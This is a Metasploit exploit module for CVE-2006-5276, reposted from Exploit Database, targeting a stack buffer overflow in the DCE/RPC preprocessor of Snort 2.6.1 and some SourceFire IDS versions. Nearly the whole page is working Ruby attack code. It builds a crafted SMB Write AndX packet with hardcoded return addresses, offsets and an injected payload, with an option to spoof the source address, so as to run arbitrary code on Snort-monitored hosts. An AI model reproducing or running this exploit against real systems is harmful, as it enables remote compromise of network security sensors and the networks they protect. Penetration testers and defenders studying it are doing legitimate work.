Snort 2 – DCE/RPC Preprocessor Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2012-04-09
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/18723/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Capture
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'=> 'Snort 2 DCE/RPC preprocessor Buffer Overflow',
  			'Description' => %q{
  					This module allows remote attackers to execute arbitrary code by exploiting the
  				Snort service via crafted SMB traffic. The vulnerability is due to a boundary
  				error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,
  				which may result a stack-based buffer overflow with a specially crafted packet
  				sent on a network that is monitored by Snort.
  
  				Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.
  
  				Any host on the Snort network may be used as the remote host. The remote host does not
  				need to be running the SMB service for the exploit to be successful.
  			},
  			'Author'=>
  				[
  					'Neel Mehta', #Original discovery (IBM X-Force)
  					'Trirat Puttaraksa', #POC
  					'Carsten Maartmann-Moe <carsten[at]carmaa.com>',#Metasploit win
  					'0a29406d9794e4f9b30b3c5d6702c708' #Metasploit linux
  				],
  			'License' => MSF_LICENSE,
  			'References'=>
  				[
  					[ 'OSVDB', '32094' ],
  					[ 'CVE', '2006-5276' ],
  					[ 'URL', 'http://web.archive.org/web/20070221235015/http://www.snort.org/docs/advisory-2007-02-19.html'],
  					[ 'URL', 'http://sf-freedom.blogspot.com/2007/02/snort-261-dcerpc-preprocessor-remote.html'],
  					[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']
  				],
  			'DefaultOptions'=>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload' =>
  				{
  					'Space' => 390,
  					'BadChars'=> "\x00",
  					'DisableNops' => true,
  				},
  			'Targets' =>
  				[
  					[
  						'Windows Universal',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x00407c01,# JMP ESP snort.exe
  							'Offset' => 289, # The number of bytes before overwrite
  							'Padding' => 0
  						}
  					],
  					[
  						'Redhat 8',
  						{
  							'Platform' => 'linux',
  							'Ret' => 0xbffff110,
  							'Offset' => 317,
  							'Padding' => 28
  						}
  					]
  				],
  			'Privileged'=> true,
  			'DisclosureDate'=> 'Feb 19 2007',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(139),
  				OptAddress.new('RHOST', [ true,'A host on the Snort-monitored network' ]),
  				OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])
  			], self.class)
  
  		deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
  	end
  
  	def exploit
  		open_pcap
  
  		shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)
  
  		p = buildpacket(shost, rhost, rport.to_i)
  
  		print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")
  
  		capture_sendto(p, rhost)
  
  		handler
  	end
  
  	def buildpacket(shost, rhost, rport)
  		p = PacketFu::TCPPacket.new
  		p.ip_saddr = shost
  		p.ip_daddr = rhost
  		p.tcp_dport = rport
  		p.tcp_flags.psh = 1
  		p.tcp_flags.ack = 1
  
  		# SMB packet borrowed from http://exploit-db.com/exploits/3362
  
  		# NetBIOS Session Service, value is the number of bytes in the TCP segment,
  		# must be greater than the total size of the payload. Statically set.
  		header = "\x00\x00\xde\xad"
  
  		# SMB Header
  		header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
  		header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
  		header << "\x00\x08\x30\x00"
  
  		# Tree Connect AndX Request
  		header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
  		header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
  		header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
  		header << "\x3f\x3f\x3f\x3f\x3f\x00"
  
  		# NT Create AndX Request
  		header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
  		header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  		header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
  		header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
  		header << "\x63\x00\x00\x00"
  
  		# Write AndX Request #1
  		header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
  		header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
  		header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
  		header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
  		header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
  		header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
  		header << "\x2b\x10\x48\x60\x02\x00\x00\x00"
  
  		# Write AndX Request #2
  		header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
  		header << "\x00\x48\x00\x00\x00\xff\x01"
  		tail = "\x00\x00\x00\x00\x49\x00\xee"
  
  		# Return address
  		eip =[target['Ret']].pack('V')
  
  		# Sploit
  		sploit = make_nops(10)
  		sploit << payload.encoded
  
  		# Padding (to pass size check)
  		sploit << make_nops(1)
  
  		# The size to be included in Write AndX Request #2, including sploit payload
  		requestsize = [(sploit.size() + target['Offset'])].pack('v')
  
  		# Assemble the parts into one package
  		p.payload = header << requestsize << tail << make_nops(target['Padding']) << eip << sploit
  
  		p.recalc
  
  		p
  	end
  end